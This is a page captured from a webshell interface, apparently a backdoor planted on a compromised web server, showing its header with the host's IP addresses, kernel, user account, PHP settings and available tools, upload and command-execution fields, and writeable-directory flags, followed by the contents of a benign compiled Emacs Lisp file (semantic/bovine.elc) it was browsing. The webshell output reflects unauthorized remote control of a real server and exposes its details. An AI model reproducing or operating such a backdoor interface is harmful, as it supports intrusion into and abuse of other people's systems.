403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/cedet/semantic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/cedet/semantic/bovine.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(require 'semantic)
#@114 Obarray of streams already parsed for nonterminal symbols.
Use this to detect infinite recursion during a parse.
(defvar semantic-bovinate-nonterminal-check-map nil (#$ . 105))
(make-variable-buffer-local 'semantic-bovinate-nonterminal-check-map)
#@159 Create a lambda expression to return a list including RETURN-VAL.
The return list is a lambda expression to be used in a bovine table.

(fn &rest RETURN-VAL)
(defalias 'semantic-lambda '(macro . #[128 "\300\301\302\303\211\304\"BF\207" [lambda (vals start end) (ignore vals) append ((list start end))] 8 (#$ . 359)]))
#@82 Return non-nil if SYM is in TABLE, indicating it is NONTERMINAL.

(fn SYM TABLE)
(defalias 'semantic-bovinate-symbol-nonterminal-p #[514 "\236\205\300\207" [t] 4 (#$ . 684)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put semantic-bovinate-symbol-nonterminal-p speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@145 Return the current nonterminal symbol.
Part of the grammar source debugger.  Depends on the existing
environment of `semantic-bovinate-stream'.
(defalias 'semantic-bovinate-nonterminal-db-nt '(macro . #[0 "\300\207" [(if nt-stack (car (aref (car nt-stack) 2)) nonterminal)] 1 (#$ . 1034)]))
#@140 Check if STREAM not already parsed for NONTERMINAL.
If so abort because an infinite recursive parse is suspected.

(fn STREAM NONTERMINAL)
(defalias 'semantic-bovinate-nonterminal-check #[514 "\303!\204\304\305\306\"\307\">\203!\310\211\311\312\313\"*\207\314\307\"B#\207" [semantic-bovinate-nonterminal-check-map debug-on-error debug-on-signal hash-table-p make-hash-table :test eq gethash t nil error "Infinite recursive parse suspected on %s" puthash] 10 (#$ . 1332)])
#@373 Bovinate STREAM, starting at the first NONTERMINAL rule.
Use `bovine-toplevel' if NONTERMINAL is not provided.
This is the core routine for converting a stream into a table.
Return the list (STREAM SEMANTIC-STREAM) where STREAM are those
elements of STREAM that have not been used.  SEMANTIC-STREAM is the
list of semantic tokens found.

(fn STREAM &optional NONTERMINAL)
(defalias 'semantic-bovinate-stream #[513 "\211\204\304\262\204\305\"\210	\236A\306\307\211\211\211\307\211\211\211\211\211\211\3101\n\205\374\3112\370\307\262\n@\211\211A@\247\204F\211AA\262\202J\211A\262A\262\262\n\204Y	\205\367\307\262\307\262	\204i\f\203\213	\203t\307\262\n\202\223\262\307\262\f@\262\312@!\204\217@<\203\223\307C\262\203\312@!\204@<\204\313\303!\203\203\203\277@\314H@\202\301\211\236A\211G\211GZ\2118G\211\fGZ\315\316!\210\317
@%\320!\211\321\267\266\202\322\262\266\202\323\324\325\"\266	\202\326\325!\266	\202\266@\236\211\262\f\2038\327
	%	B\262	\nA\262
\262\330\311\306\"\210\202\223@A\262@\n\211@\262=\203\n\211A@\247\204]\211AA\262\202a\211A\262\n\211A@;\203q\211A@\262\202\245\331\211\211A@\247\204\203\211AA\262\202\207\211A\262@\262\211\211A@\247\204\233\211AA\262\202\237\211A\262A\262\"\262\262A\262@;\203\345@\262A\262\332\"\203\334\n\211@\262\333>\203\324\211\202\325B\262\202\370\307\262\307\262\202\370\n\211@\262\334>\203\363\211\202\364B\262\n\211\211A@\247\204	\211AA\262\202
\211A\262A\262\262\210\202\223\307\262\307\262\202\223\204+\fA\262
\202_@\211\211A@\247\204>\211AA\262\202B\211A\262@\262@\203V@\237#\202{G\335U\203t@<\203t@@\247\204t\336@D\"\202{BB\237\262\307\262\204\207\307\262\210\202_\f=\203\233A\307D\202\237D\262\203O@\306\262\211\337H\262\211\335H\262\211\314H\262\211\340H\262\211\341H\262	A\262\n\203\355G\342!AA\237S8\262\211B\262	A\262\n\266\202O\307\262\307\262\210\202O0\210\202'0\210\202 \fA\307D\262\313\303!\205\205\315\316!\210\343!\320!\262\266)\207" [semantic--buffer-cache semantic--parse-table lse semantic-debug-enabled bovine-toplevel semantic-bovinate-nonterminal-check t nil (error) push-non-terminal byte-code-function-p boundp 2 require semantic/bovine/debug semantic-bovine-debug-create-frame semantic-debug-break #s(hash-table size 3 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (fail 240 quit 248 abort 257)) (trash 0 . 0) signal quit "Abort" error vector throw buffer-substring-no-properties string-match (comment semantic-list) (comment semantic-list) 1 append 0 3 4 reverse semantic-create-bovine-debug-error-frame] 28 (#$ . 1831)])
(byte-code "\300\301\302\"\210\303\304!\207" [defalias semantic-parse-stream-default semantic-bovinate-stream provide semantic/bovine] 3)

Youez - 2016 - github.com/yon3zu
LinuXploit